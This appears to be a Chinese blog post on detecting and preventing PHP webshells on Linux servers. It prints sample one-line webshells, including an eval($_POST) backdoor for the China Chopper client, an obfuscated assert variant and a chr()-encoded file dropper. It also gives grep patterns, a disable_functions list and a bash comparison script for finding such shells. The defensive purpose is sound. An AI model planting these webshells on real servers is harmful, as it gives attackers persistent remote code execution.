原文出處:http://my.oschina.net/longquan/blog/155905
首先認識一下小馬,一般大馬容易暴露,駭客都會留一手,把小馬加入正常PHP文件里面
<?php eval ($_POST[a]);?> //密碼為a,使用中國菜刀連接
隱藏很深的小馬
fputs(fopen(chr(46).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).
。。。省略
解碼:
其中chr括號里面的數字是美國信息交換標准代碼,縮寫:ASCII 可以找一份對照表對應一下
比如 46 就是 .
47 就是 /
32 就是 空格
也可以echo chr(46)解出來
<?php
echo chr(46).chr(47).chr(97).chr(46)
?>
WINDOWS下的應該有很多日志分析和查殺工具(比如D盾等),那么,LINUX下如何查找WEBSHELL呢?
find /www/ -name "*.php" |xargs egrep 'assert|phpspy|c99sh|milw0rm|eval|\(gunerpress|\(base64_decoolcode|spider_bc|shell_exec|passthru|\(\$\_\POST\[|eval \(str_rot13|\.chr\(|\$\{\"\_P|eval\(\$\_R|file_put_contents\(\.\*\$\_|base64_decode'
然后就手工查看,寫入計划任務啦。
只查小馬的可以
grep -r --include=*.php '[^a-z]eval($_POST' . > post.txt grep -r --include=*.php '[^a-z]eval($_REQUEST' . > REQUEST.txt
查出來了,重要的是要分析日志,查看入侵源頭。
防范:
禁用危險函數,整理權限,防止權限過大
disable_functions = exec,scandir,shell_exec,phpinfo,eval,passthru,system,chroot,chgrp,chown,proc_open,proc_get_status,ini_alter,ini_restore,dl,openlog,syslog,readlink,s
ymlink,popepassthru,stream_socket_server,fsocket
在網上找了一份用PHP查找WEBSHELL的東東,適用數據量小及少
https://github.com/emposha/PHP-Shell-Detector
git 下來 只需要2個文件
shelldetect.php //默認帳號密碼 admin protect
shelldetect.db
如果你有什么好的建議,感謝你的分享:)
20130826更新
小馬的變種很多,經常會繞過我們的檢查,此時,最好能做把文件進行對比。
比如,網上找的這個PHP一句話<?php $k="ass"."ert";$k(${"_PO"."ST"}['8']);?>
下面提供自己寫的比較簡單的檢查腳本,思路是對比目錄有更新的PHP文件進行匹配。
#!/bin/bash # 先RSYNC干凈的,再執行此腳本最好 Date=`date +%Y%m%d_%H:%M` src=/www/www.a.com/ dest=/www/www.a.com.bk/ log_tmp1=/root/sh/webshell_php.log log_result=/root/sh/webshell_result.log which egrep if [ $? -ne 0 ];then echo "Not Found egrep,exit" exit 0 fi rsync -av --include="*/" --include="*.php" --exclude="*" $src $dest|grep -i php > $log_tmp1 for diff in `cat $log_tmp1` do egrep 'assert|phpspy|c99sh|milw0rm|eval|\(gunerpress|\(base64_decoolcode|spider_bc|shell_exec|passthru|\(\$\_\POST\[|eval \(str_rot13|\.chr\(|\$\{\"\_P|eval\(\$\_R|file_put_contents\(\.\*\$\_|base64_decode|\@preg_replace' "$dest""$diff" if [ $? -eq 0 ];then echo "===========================" >> $log_result echo "$Date" >> $log_result echo "$dest$diff is Dangerous" >> $log_result fi done
最后
歡迎關注個人微信公眾號:Bypass--,每周一篇原創高質量的干貨。
擴展閱讀:
shell反彈
php-security-best-practices-tutorial
十大PHP最佳安全實踐
使用suhosin保護PHP